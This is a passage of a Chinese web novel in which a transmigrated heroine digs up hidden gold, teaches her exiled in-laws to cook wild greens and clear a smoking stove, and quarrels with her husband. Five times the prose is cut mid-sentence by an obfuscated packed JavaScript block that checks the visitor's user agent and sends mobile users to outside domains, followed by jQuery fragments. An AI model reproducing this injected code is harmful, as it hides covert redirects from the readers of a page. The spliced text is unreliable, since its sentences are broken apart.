老太太仿佛是第一个顿悟的,她笑呵呵说道:“走,咱们都去,看看老七媳妇这是唱的哪出戏。” 穿过回廊,再过一座假山,就看到了一个大大的木制高台,虽然已经很旧了,但能看出昔日的繁华。 尹微月走到台子最东侧,然后指挥大家拿树枝石块,从最东侧往西挖,没挖多久,就挖出来一个包裹。 她用步子丈量了一下,是九步,怪不得霍婉玉当时在六步处没挖到,原来是她记错了步数。 书里原身非常憎恨张语琳,便讨好霍婉玉,借她大姑姐的身份处处针对张语琳,所以前前后后送了她五百两金子。霍婉玉没有将这笔财富暴露,而是偷偷埋在了戏台子这里。 “真是金锭子!”霍东打开包袱,金光差点把眼睛闪瞎了,七嫂果然没让他失望。 “七嫂,你怎么知道这里有金子?”霍婉瑛激动地问。 “这是霍家抄家后我娘家给我傍身的,当时虽然没给陈氏,但我给了霍婉玉,是她藏在这里的,被我发现了。有了这五百两金子,加上我手上的财物,往后咱们大房不仅一日要吃三餐,还要顿顿吃好喝好。” “七婶婶太好了!”霍珍儿奶声奶气地说,一旁的霍东胆小脸皮薄,没好意思当众拍马屁,倒是霍珍儿抢先上前抱了大腿。 “为什么要给霍婉玉?”苏氏是个好奇宝宝,可问完就后悔了,还能为什么,肯定为了霍开呗。 大家不自觉看向霍钧的眼神里,都不约而同带着抹同情,冯氏一刹那觉得眼前的金子不香了,她可怜的儿子呦! 老太太拉着尹微月的手,满眼慈爱,“我一把老骨头了,没得孙子的济,倒先得了孙媳妇的济。思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14717901|155946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暖,老七媳妇嫁过来,丰厚的嫁妆都给抄了不说,如今还被圈禁,现在她又拿出金子养家,不管她以前做了什么,到底是咱们霍家亏了她,你以后可不能老吹胡子瞪眼。” 冯氏看了眼被绿的儿子,最后不情愿点了点头。 一共五百两黄金,大房的几个孩子终于能活下来了,这次大家没有任何异议,金子本来就是尹微月的,自然由她全权保管。 由于《穿去古代当皇后》作者是现代人,又对古籍没什么研究,所以书内所有斤两都是按照现代标准来的。五百两黄金,算起来差不多五十来斤,尹微月轻松拿起。 昨天晚上没吃好,今天又忙活了一上午,尹微月早饿了。 “我去做饭。”冯氏说道。 老太太和霍东看孩子,霍钧负责烧火,冯氏、贺氏、苏氏还有霍婉瑛也在灶房一顿忙活。 她们用石臼子砸黄豆,先抓一小把黄豆放里头砸一下,将豆子砸开口、或者碎成两瓣倒陶盆里备用,然后再抓一把黄豆放石臼子里继续砸。 尹微月委实不敢相信,昨晚的夹生黄豆饭竟然是五个人的“智慧结晶”! 28. 第28章 霍钧这烧火师傅特不合格,好不容易引着了火,却弄得满屋子是烟。尹微月赶紧将众人叫了出来,又把灶台里的火灭了,然后把门全打开。 她擦擦被熏出泪的眼睛,看着陶盆里破瓣的黄豆十分不解,“母亲,为何要把豆子砸一下?” 冯氏被她一问,脸上瞬间有了抹得意,“黄豆子太硬,要蒸软太费柴,是老七想了个主意,就是先将黄豆砸破然后再放陶盆里蒸,这样就省柴火了。” 尹微月:“……” 没想到砸碎的豆子,还能蒸成夹生的,这也得需要技术啊。 尹微月看灶房的烟消散的差不多,走进去从干瘪的布口袋里舀了半瓢豆子,倒进一个空陶盆里,然后又走到水井边提了一桶水倒进陶盆泡豆子。 “七弟妹,你这是要做什么?”苏氏不解地问,而旁边的其他人也是一脸疑问,都等着尹微月解惑。 尹微月摇摇头,这群夫人小姐少爷们,从前当真是十指不沾阳春水,连最基本的生活经验都没有,两年了,还没琢磨明白。 其他小辈自来娇生惯养就不必说了,婆母冯氏虽说是当家主母,事必躬亲。但却是执掌中馈、孝顺长辈、教育子女、参与官场女眷社交等。 钗环首饰、名贵衣料、茶道花艺很精通,但至于吃食方面,顶多拿灶房后厨掌事递上来的菜单定一下菜色,哪能知道如何做饭。 而尹微月正好相反。 上流社会的高雅她一点不会,但底层百姓的生存之道,她驾轻就熟。 未来还长着呢,流放路上可不养贵人,也是时候让他们接受贫下中农再教育了。 “你们知道砸碎豆子省柴火,怎么就没想到放水里泡一泡更容易熟呢?而且还不用费力去砸,不仅省柴还省力。” 众人恍然大悟,尤其是冯氏,脸上已经没了“我儿好聪明”的表情,她仿佛一下打开了新大门,“老七,你想的还是不够周到,先将豆子泡软再捣碎岂不是更省柴?” 霍钧点头,“那下次咱们就这么做饭,可现在捣碎的豆子怎么处理?” 尹微月:“豆子至少得泡两个时辰才能吃,今天还是继续砸豆子,不过不是砸成两瓣,要捣得碎碎的。” “好,我来捣石臼。”霍婉瑛点头应到,她觉得七嫂好厉害,不仅武功高强,而且什么都知道,所以本能跟着她的指挥走。 就是有一点挺可惜,七嫂不喜欢七哥。 霍婉瑛抬头看了眼霍钧,又想了想霍开,突然有点理解尹微月了。 她七哥只是那张脸有看头,虽然从前是有名的大才子,可是软禁后,才子又不能当饭吃。但她五哥长得也不差,而且能文能武,她要是七嫂的话,大概率也会选身体强壮的五哥。 尹微月可不知道霍婉瑛内心的想法,她早发现了南面墙根处有很多扫帚菜,现在正好是抽嫩芽儿的时候,掐一盆嫩芽正好煮一锅豆渣菜。 贺氏看她去墙边薅草,连忙说:“七弟妹,我知道你肯定不喜院子里有杂草,可是这些草不能除。咱们缺柴火,七弟说了,这些野草长了春夏两季,等着秋天草枯了就是现成的干柴。” 尹微月:“……” 没柴火烧,不会砍柴么?她转头看傻子一样看霍钧,这大反派的人设忒差了,简直没一点亮眼的地方,当年同桌怎么就对他如痴如醉的? 霍钧接收到尹微月的目光后,就知道这女人又在嘲笑他了。不过他无所谓,昨天夜里,她对他做过比嘲笑更可怕百倍的事,他不一样也忍下来了? 尹微月又看向贺氏,“大嫂嫂,霍家以前打造的园林非常清秀,各处园子里到处都是树,光砍些树枝就能维持很长时间,怎么老说缺柴火?” 贺氏脸上一红:“我们全都不会爬树,而且铁器都被抄走了,就连把菜刀都没留下,根本无法砍树,我们只能捡地上的枯枝烂叶,所以根本不够烧。” 尹微月:“……” 好吧,这个理由很充分。 “这不是杂草,这是野菜,嫩的时候可以炒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730616|155946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 或者凉拌,老了可以用枝条做扫地的扫帚,所以叫扫帚菜。” “这个能吃?” “还能做扫帚?” 这下几个女眷都不淡定了,对于这些高门贵女来说,墙根处长的野草能吃简直是一大新鲜事,于是都放下豆子跑过来,就连霍钧也凑到跟前。 男人看着眼前嫩绿蓬松只到他膝盖处的野草沉思,这怎么看都是杂草,说它能做扫帚或许可行,但说它能吃,怎么觉得这么不靠谱呢? “母亲,大嫂、二嫂、小妹,你们好好认一下扫帚菜的模样,以后可要记住了。来,跟我学,将每一株顶端三公分处掐断,这段最鲜嫩。” 于是几个女人学得有模有样,刚开始掐叶子不熟练,慢慢地越掐越快,人多力量大,不到半炷香的功夫,就掐了满满两大木桶。 尹微月约摸差不多够了,于是到井边洗菜。 虽然大房已经好久没钱买菜吃了,但洗菜这活就算再笨也都会干,于是冯氏和贺氏洗菜,苏氏和霍婉瑛轮流捣豆子。 尹微月来到土灶前,准备生火。 这时她抬头看到霍钧满是抓痕的脸,却发现男人也在看她,“想知道为什么你一烧火,就满屋子烟熏火燎吗?” 霍钧点头,他实在找不出原因。 柴火明明是干的,就算点火时会冒烟,但没道理烧着的时候也冒烟啊,尤其是刮风和下雨天,屋子里的烟更大。他是真后悔,以前看过的各类书籍不计其数,可为什么就偏偏没看看《农记》。 尹微月随手拿起一根细树枝,往灶口出拨了拨,“就因为它们。” 草木灰?这下霍钧更不懂了。 尹微月出门,从院子里捡了一块带尖的黄泥石头,在锅沿儿右边连着灶台划了一道很明显的记号,然后将铁锅抬起来。 “你做什么?”霍钧盯着她问。 被抄家时,其余灶台都被官兵砸了,如今家里只剩这一个灶台一口铁锅,若弄坏了,以后家里人岂不是要吃生食。 29. 第29章 “我做记号是为了锅放回去时不移位。”尹微月说着指了指锅底厚厚的锅底灰,然后又指了指灶台里面。 “锅底灰这么厚,烧透得额外费多少时间?你这才叫费柴火呢。还有你看,灶台里的草木灰全满了,出烟口都堵得死死的,两年了都不知道扒扒灰,不往屋里返烟那才是奇了怪了。” 霍钧愣住,原来土灶是要扒灰的啊。 尹微月也没再讥讽男人,毕竟这些实用智慧,是一代一代的劳动人民积累流传下来的。像大房这些不知人间疾苦的上流人物,让他们用两年时间自己领悟,有点不大可能,毕竟他们又没开外挂。 尹微月找了一圈也没找到铲子钩子之类的,于是只好找了一块粗木头。 “我要给土灶扒灰,大家一块过来学。”她把外面的女人们也叫进来,日后要在与世隔绝的深山生活二十年,所以这些最基本的生存技能一定要学会。 只见尹微月从土灶的放柴口处把木棍伸进去,将出烟口处的草木灰全都扒拉出来,可由于两年没清理,太多草木灰被风吸进烟道里。 她足足抠了一盏茶的功夫,才将烟道清理干净,然后又把灶台的草木灰全扒出来。处理完灶台后,她紧接着将大铁锅翻过来,用干柴刮了少半碗细细的锅底灰后,才拿到院子里把锅底全部刮干净。 尹微月瞧着得刮下来两斤灰。 她在井边把锅刷干净,按照先前做的记号重新放回灶台里,添上水盖上高粱杆扎的锅盖,然后对霍钧说,“你现在点火试试,看还返烟吗?” 男人早被尹微月这通操作看蒙了,他直觉肯定管用,于是拿来干草和火折子点火。火引着了,火苗被出烟口往后吸,火势越来越旺,却一点烟没返出来,而且一会儿功夫水就烧开了。 他欣喜地看向尹微月,“多谢你又为我解了一惑。” 尹微月轻哼一声,算是受了这声谢。 一旁的冯氏觉得自己儿子今日不对劲,往日就算有天大的喜事、或者祸事,他都木着一张脸,淡漠的如同秋日晨间的冷霜。可今日,尹氏不过教他扒了一次草木灰,他脸上竟然挂上了一丝笑意,真不得了了。 “母亲,大嫂,将洗好的扫帚菜拿进来吧,我焯一下水。”尹微月的声音打断了冯氏的思绪,二人连忙把扫帚菜拿进来。 将菜通通倒进锅里,一边用筷子搅拌一边讲解,“野菜基本上都含有草酸,而且略带苦味,吃之前烧开水焯一下,可以很好的去除这两样物质。” 大约三分钟后,尹微月将扫帚菜从锅里捞出来放进木桶里,原本满满两大桶,一过水仅剩下小半桶。 “大嫂,你再去用井水洗一遍,然后沥干水分。 “好。”贺氏费劲地提桶出去洗。 尹微月把锅里的水舀出来,刷了刷锅后,又重新倒上倒进一瓢干净的井水,对霍钧说,“继续烧火。” 这时霍婉瑛和苏氏差不多捣了三碗黄豆,虽然没有多精细,但好歹都碎成了渣渣。她将豆渣全部倒进锅里,又嘱咐霍钧要大火烧煮。 期间滚了一次锅,尹微月又添了半瓢水继续煮,等到再次开锅,她搅拌了一下,豆渣浓稠软烂,觉得火候差不多了,她去厨桌上找调料。 然而除了小半罐食盐,其余一无所有。 尹微月只好将昨晚大家没舍得吃完、还剩半汤碗的卤猪头肉倒进锅里,因为这肉太咸,像打死了卖盐的,所以她就没有再额外放盐。 不一会儿,灶房里肉香混合着豆香飘满小院,霍婉瑛不自觉吞咽吐沫,喃喃一句:“好香啊!” 贺氏、苏氏忙跟着点头,她们已经两年没闻过正经的饭菜香了。 尹微月轻笑,将沥干水分的扫帚菜球抖开,均匀洒在锅里,“这就是一锅乱炖,能有多香。” 她说完,又将先前的小半碗锅底灰倒进去。 看到这一幕,大家无语加心碎。 他们全都傻了眼,心情瞬间不美丽了,这么一锅好吃的,竟然倒进去半碗锅底灰。 全糟蹋了! 尹微月转头:“你们不会不知道锅底灰是一味药吧?” 众人瞪眼,然后齐摇头。 ①尹微月被他们瞪得有些想笑,“我真没糊弄你们,锅底灰又叫百草霜,不仅可以止血,还能调 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14756423|155946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理脾胃,散结节,很多牲畜病了也能拿它入药。你们两年里忍饥挨饿不沾荤腥,加点它吃完后不闹肚子。” 霍婉瑛:“七嫂,当真?” “当真。” 而此时还在烧火的霍钧,除了后悔没看《农记》外,这会儿又后悔没看医药典籍。紧接着冯氏补刀:“老七,你饱读诗书,可知道锅底灰是味药?” 霍钧:“……” 没得到回应那就是不知道了,冯氏怪自己多嘴下了儿子的面子。 “豆子加菜足足有半锅呢,今日总算能敞开吃了。”贺氏为缓解尴尬连忙转了话题,找了个最大的陶盆盛豆渣菜。 明堂里,一大家子围坐在蒲团上,每人碗里都分了冒尖一大碗,中间的大陶盆里还剩半盆多。 霍东有些心急,没等吹凉就往嘴里送,舌头被烫麻了,硬是挤出俩字:“好吃!” 冯氏看着笑了笑纠正:“再饿也要有吃相。” 尹微月有些哭笑不得,不愧是簪缨世家,都快饿死了,还不忘教导孩子注意吃相。 她也吃了一口,说实话味道是正常的野菜豆子味,可一抬头,几个人脸上满足的表情,仿佛在吃鲍参翅肚。 虽说食不言寝不语,但苏氏实在忍不住:“七弟妹,你从小金尊玉贵,未出阁时父亲母亲更是视若珍宝,怎么会下厨?”关键还干得这么利落。 众人皆好奇竖起耳朵。 尹微月也知道自己的风格跟原身相差太多,可没有办法,她不想吃夹生饭。好在尹家很快就灭族了,就算霍家对她生疑,也没有证据。 “二嫂,是这样的。”尹微月淡定给原身加霸服,“我从前杀.人太多,根本埋不过来,于是就想了些别的处理方式。烹饪就是其中之一,你们也知道我向来喜欢研究新奇事物,这人.肉烹着烹着,没想到厨艺就练出来了,嘿嘿~” 大房众人:“……” 尹微月刚说完,霍婉瑛就捂着嘴跑出去大吐特吐,剩下的人也相继放下筷子。只有霍东领着小侄子小侄女吃得津津有味,边吃边露出一抹童真:“七嫂厨艺真好,比咱们从前请的厨子还好!” 30. 计划初步制定 较之大房早饭时上演的“中式恐怖”,三房可就热闹多了。 二房、四房进来后就一顿搜罗,就跟那啥啥啥进村似的,所有值钱物件都翻找了出来,包括床头机关里的那个木匣子。 总之,除了床之外,桌椅板凳都在均分的物品之列。 三房其他人没有阻拦,反正分家单都签字画押了,拦也没有用。 虽然他们心里都知道这些东西是王公公留下来的,可偏偏不能挑明,否则不只财物保不住,还会拉仇恨激发别的矛盾。 既然已经到了这个地步,干脆痛痛快快任他们均分算了。 “你们这些天杀的……”只有陈氏一直在无能哭嚎,嗓子都哑了,“不许拿,这是三房的,这全都是我的!” “尹氏可说了,你们三房的财物都是用她的银子置办的,只要是她的,我们就有权均分。你说是你的,口说无凭,只要拿出证据来我们就不分了。” 小刘氏和彭氏可不吃她这一套,有分家单在手,该他们分的一点少不了,不该他们分的,分了也不打紧,谁叫三房拿不出证据来呢。 “你、你们,土匪!”陈氏堵着一口气又没上来,再次晕了过去。 除了大件的桌椅板凳外,张语琳将三房分得的钱物重新归拢,全放进自己屋里。现在三房由她掌管银钱,不知还要软禁多久,所以要好好制定一个计划。 二房、四房可高兴坏了,这次他们不仅分了不少家具、衣服、被褥,连贵重的金银首饰也分了不少。虽说尹氏平时嚣张跋扈惹人讨厌,不过这次还真是变相帮了他们大忙。 东西分好后,几房迫不及待商量,该如何去大门求侍卫递呈分家单。 “你们要如何做随便,三房一律不参与。”霍开根本不想分家,他压根就没想过要离开霍府,所以直接把分家单撕碎。 小刘氏现在是最迫切想要出府的,他儿子和孙子都伤了,得赶紧出府找大夫医治。 彭氏提议:“姐姐,不如我们两房各出一百两,由两房的长子嫡孙去送呈分家单怎么样?” 思量片刻,小刘氏答允了。 四房派了四老爷霍安家和嫡长孙霍羌。 二房这边,二老爷霍安民至今仍昏迷不醒,小刘氏便命霍山和霍邱前去,虽然霍山有伤,左耳也聋了,但正常行走还是可以的。 “祖母,孙儿不孝,恕我不能同意。”这时,霍邱突然跪下任罚。 小刘氏:“你再说一遍!” 霍邱:“祖母,我们今天逼大房分家已经罪孽深重,况且外面那些人是不会同意咱们出府的。刚才我已经送了些钱物出去,虽然大夫请不来,但我托他们买了些对症的药,父亲的伤会好的。” “别叫我祖母,你这个吃里扒外的混账,你父亲被尹氏打得昏迷,你不想办法出府给他找大夫医治,却在这里偏帮大房,你枉为人子!” 小刘氏当即就将不孝的帽子给他扣上,“我最后问你一遍,你去是不去?” 霍邱连磕了三个响头:“父亲对我是生养之恩,可大伯父对孙儿亦有培养之恩,所以我不能去。” 小刘氏冷哼,“所以你这是打定主意要抛却你父亲的生养之恩,来全他霍安疆的培养之恩?” 霍邱:“孙儿没有抛却父亲,我之所以这样做是因为清楚知道,外面侍卫是绝对不会让咱们出府的。且我已经寻了药材 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14766138|155946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,会细心熬制,往后日日夜夜都在父亲床前侍疾。” “你侍疾哪有大夫管用?我再问你一遍,到底去不去?” 霍邱没有出声。 “好,果真慈母多败儿,唐氏,看你养了一条多好的白眼狼。成茹,将这贱妾摁下,给我使劲掌嘴!” “是,母亲。”杜成茹早就因为霍邱这庶子处处压她儿子霍山一头,而心生愤恨。“啪啪啪”下手那叫一个狠,唐氏的脸几下便肿了。 霍邱跪着的身躯一颤,他紧握双拳,指骨泛白,耳边的巴掌声,和唐氏的哀嚎仿佛一柄利剑,从他的耳朵一直刺穿到心脏。 杜氏根本没有停手的意思,还越打劲儿越大。 “别打了!”霍邱红着眼眶大吼,然后又给小刘氏磕头,“祖母,孙儿知错了,请祖母让母亲住手饶了唐姨娘,我这就跟三哥一起去。” 小刘氏这才慢慢抬起手制止,“今日算是给你个教训,若还改不了吃里扒外的毛病,你就好好掂量掂量唐氏有几条命!” 人都走了,霍邱自责,“姨娘,是孩儿不孝。” 唐氏摇头,刚想张嘴,却发现整张脸已经肿得无法发声,她只能摇头啊啊了两声。 霍邱最为孝顺,向来隐忍、有泪不轻弹的他,此时再也忍不住,抱着唐氏放声大哭。 霍安家四人拿着银子和分家单去给外面侍卫,结果根书中写的一样,出府美梦彻底破裂。侍卫们前脚收了银子,后脚就以“逋逃之民”为借口,打了每人三十大板。 经此一闹,二房损失惨重,成年男丁全部负伤,完美复刻了大房书里的惨状,不过他们还是比书里的大房强,起码有银子可以买药。 31. 瞧你那点劲儿 早饭过后,霍钧顶着一脸血痕,像过去两年里一样,主动包揽了洗碗的工作。家里的女眷从前哪个不是手如柔夷,肤如凝脂,过去她们日日都用羊奶、蜂蜜和珠粉养手,如今却…… 算了,他多干一点,她们就能少干一点。 吃饱饭,尹微月饶有兴致看着外面的春意盎然,霍府的园子很大,没了奴仆打扫,景致越发有种野性的狂美。 她回头看了一眼身后的这群千金少爷们,内心涌出一个特训计划来。 “祖母、母亲,今天天气这样好,不如咱们全员出动去逛园子吧,就当消化食儿了。” “甚好。”现在有了银子大家心里都不再发愁,很快人员就集齐了,就连老太太,和襁褓中的霍甜儿和霍果儿也加入了。 刚出了大房的院子,就看到乌泱泱一群人又哭又叫,他们这才知道,原来二房、四房送分家单时,被侍卫毒打了一顿。 大房和三房人人心里唏嘘一片,倒是尹微月脸色没变,因为一切都在她的意料之中。 虽然四人挨了打,但除了二房的霍山外,其余看向大房的眼睛里都没有恨意,尹微月知道是分给他们的银子起了大作用。 尹微月带着大家往碧波园走去,那儿原是霍府观景的地方。 霍家世代都是武将,比之其他贵族,家风的确略显粗狂了些,但老太太和大夫人却都出自书香世家,对生活还是有不少情调的。 碧波园是老太太嫁进来后建的。 这里修了一座人工湖,湖里种满了荷花,每逢春夏时分,碧绿的荷叶映衬着湖水,特别好看,所以取名为“碧波园”。 后来,大夫人冯氏进门,又在这里种满了西府海棠和枫树,正所谓:春看海棠夏看荷,秋日红枫赛翠萝,每年豪门望族应季举办的赏花宴,总缺不了霍府这一席。 一路走来,尹微月看到周围地上冒出来不少野菜,她准备趁这个季节给大房普及一下野菜知识。当然,具体计划还要回去细想一下,眼前她要解决的问题比较重要。 比起尹微月满腹的心思,后面这群人却当真是来散步观景的。 “有鱼,是一群红鲤鱼,正在绕着湖边打食!” “祖母快看,湖里的荷叶都长开了,还窜出芽蕾了呢。” “是啊,你们再看那边的西府海棠,有的枝丫上开始鼓起小花苞,约摸不用一个月就到花期了。” 众人难得有看景的兴致,这多亏了尹微月。 两年里,他们就像是雨后被犁出地面的蚯蚓,既死不痛快,又活不舒坦。 尹微月听着众人叽叽喳喳,然后对正陪孩子看鱼的贺氏招招手,说了句:“大嫂,你们总抱怨柴火不够烧,可瞧这一大片林子,我看烧个十年八年也烧不秃。” 大房众人:“……”煞风景简直被尹氏玩溜了。 “这树也不怎么高。”尹微月来到西府海棠树旁,这些树冯氏刚嫁进霍家就种上了,虽然长了三十多年,但顶多四五米的高度,她又对霍钧说,“不是嫌柴火不够么?你过来掰枝子。” 霍钧本能不想过去,因为从前他也掰过,根本掰不动,但是家里确实柴不够烧,是得多备一些。 可若他就这么过去了,好像又显得太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14775465|155946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听话。 明明以前每回尹微月发飙,他都是占上风的,可从昨天开始,不知怎么双方战斗力就颠倒了个。 犹豫间,霍钧就被霍婉瑛推到了尹微月跟前,她想,这可是七哥表现的好机会,争取让他将七嫂的心从五哥那里抢回来。 想到这里,从未高声讲过话霍婉瑛喊道:“七哥,相信自己,你能行!” 霍钧:“!”只是掰树枝,又不是上战场,至于这么激动? 男人只得硬着头皮上,围着海棠树转了一圈,仿佛不知道该如何下手,只见他好看的眉毛蹙起,牵动了眼睑下方一条四五公分的血痕。 半晌后道:“徒手?” 尹微月双手抱臂,反问:“你说呢?” 于是他又转了一圈,选定了其中一根能够到,并且相对较细的枝干,然后用力往下拽。可是活树的枝干有韧劲儿,霍钧试了两三次都不成功。 旁边的女人们都在暗自给他使劲。 霍钧咬紧牙关,把吃奶的力气都用在手上,这一次树枝果然断了。可紧接着“砰”一声,他连人带树枝因为惯性摔了出去,受伤的脸再次被树枝断裂处刮了一下。 “啊……”同一时间尹微月低吼一声,她原本就还在痛的脸,这下更疼了。 女人气冲冲走上前,拽起他的领子,两根指头用力戳向他的眼珠,“你是纸糊的吗?每次都能摔倒,这眼睛不要也罢!” “啊……”下一秒霍钧捂着双眼痛苦地呻吟一声。 小夫妻俩猝不及防间打起来了,身后愉快看风景的众人顿时懵了,不知该不该上去劝架。